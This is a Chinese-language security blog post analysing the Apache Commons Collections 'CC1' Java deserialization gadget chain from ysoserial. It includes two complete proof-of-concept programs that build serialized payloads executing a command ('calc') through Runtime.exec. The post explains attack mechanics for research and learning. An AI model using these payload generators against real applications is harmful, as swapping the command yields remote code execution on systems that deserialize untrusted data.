Java / Web / 反序列化 · 2022年2月27日 0

CommonsCollections1分析

简介

ysoserial中的CommonsCollections1链

Transformer接口

Commons Collections库中存在一个Transformer接口,接口中有一个transform()方法:

package org.apache.commons.collections;
​
public interface Transformer {
   Object transform(Object var1);
}

Commons Collections1这条链中使用到了3种实现了Transformer接口的类

ConstantTransformer

这个类的的transform()方法可以返回一个Object类型的对象

public Object transform(Object input) {
   return this.iConstant;
}

InvokerTransformer

这个类的transform()方法可以利用反射调用传入的input类的任意方法并返回执行结果

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        //somecode
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        //somecode
    }
}

ChainedTransformer

这个类内部存在一个Transformer数组,在其transform()方法中有一个循环,分别调用每个Transformertransform()方法并将结果传入下一次循环作为输入:

public Object transform(Object object) {
   for(int i = 0; i < this.iTransformers.length; ++i) {
       object = this.iTransformers[i].transform(object);
  }
   return object;
}

通过这个类的transform()方法可以实现链式调用多个Transformer处理对象。

LazyMap

LazyMap是一个集合,LazyMap在调用get()方法时如果传入的key值不存在,则会调用factory.transform()去创建value,然后就能触发Transformertransform() 方法

public Object get(Object key) {
   if (!super.map.containsKey(key)) {
       Object value = this.factory.transform(key);
       super.map.put(key, value);
       return value;
  } else {
       return super.map.get(key);
  }
}

AnnotationInvocationHandler

这个类有实现Serializable接口,重写了readObject()方法,但readObject()方法中并不能直接能调用到get()方法。

在8u71版本以前它的invoke()方法可以调用到LazyMapget()方法:

public Object invoke(Object proxy, Method method, Object[] args){
   //somecode
   Object var6 = this.memberValues.get(var4);
   //somecode
}

在ysoserial的这条链中使用了动态代理封装LazyMap,在调用readObject()方法时有一处调用了this.memberValues.entrySet()方法:

private void readObject(java.io.ObjectInputStream s){
   //somecode
   Iterator var4 = this.memberValues.entrySet().iterator();
   //somecode
}

this.memberValues作为代理对象,在调用任意方法时会都进入到AnnotationInvocationHandler#invoke方法,然后就能调用到LazyMapget()方法

完整代码

payload构造如下:

String[] cmd = new String[]{"calc"};
Transformer[] tfs = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod",
           new Class[]{String.class, Class[].class},
           new Object[]{"getRuntime", null}),
       new InvokerTransformer("invoke",
           new Class[]{Object.class, Object[].class},
           new Object[]{null, null}),
       new InvokerTransformer("exec",
           new Class[]{String[].class}, new Object[]{cmd})
};
ChainedTransformer ctf = new ChainedTransformer(tfs);
Map lazymap = LazyMap.decorate(new HashMap(), ctf);
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
          .getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) ctor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, ih);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, proxyMap);
//生成payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(handler);
String paylaod = new String(
       Base64.getEncoder().encode(bos.toByteArray())
);
System.out.println(paylaod);
//验证payload
ObjectInputStream ois = new ObjectInputStream(
       new ByteArrayInputStream(
               Base64.getDecoder().decode(paylaod)
      )
);
ois.readObject();

简化版CC1

前面这条链是ysoserial中的CC1链,在《Java安全漫谈》中使用了TransformedMap对CC1这条链进行简化。

这里没有使用LazyMap而使用TransformedMap来触发transform()方法。只要调用TransformedMapput()方法放入新的元素或者使用MapEntrysetValue对value进行修改时就可以触发Transformertransform()方法:

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

AnnotationInvocationHandlerreadObject()方法中有获取TransformedMapMapEntry然后使用setValue()方法对value进行修改:

Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
   Entry var5 = (Entry)var4.next();
   String var6 = (String)var5.getKey();
   Class var7 = (Class)var3.get(var6);
   if (var7 != null) {
       Object var8 = var5.getValue();
       if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
           var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
      }
  }
}

于是这里可以触发transform()方法。

完整的POC如下:

String[] cmd = new String[]{"calc"};
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod",
               new Class[]{String.class, Class[].class},
               new Object[]{"getRuntime", null}),
       new InvokerTransformer("invoke",
               new Class[]{Object.class, Object[].class},
               new Object[]{null, null}),
       new InvokerTransformer("exec",
               new Class[]{String[].class}, new Object[]{cmd})
};
ChainedTransformer ctf = new ChainedTransformer(tfs);
Map innerMap = new HashMap();
innerMap.put("value","xxx");
Map tfm =  TransformedMap.decorate(innerMap,null,ctf);
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
      .getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) ctor.newInstance(Retention.class, tfm);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(ih);
String paylaod = new String(
       Base64.getEncoder().encode(bos.toByteArray())
);
System.out.println(paylaod);
​
ObjectInputStream ois = new ObjectInputStream(
       new ByteArrayInputStream(
               Base64.getDecoder().decode(paylaod)
      )
);
ois.readObject();

在JDK8u71版本之后AnnotationInvocationHandler#readObject的源码有一些变化,所以这条链在高版本下无法使用。

Referer

https://github.com/phith0n/JavaThings

https://xz.aliyun.com/t/9409

https://su18.org/post/ysoserial-su18-2/#invokertransformer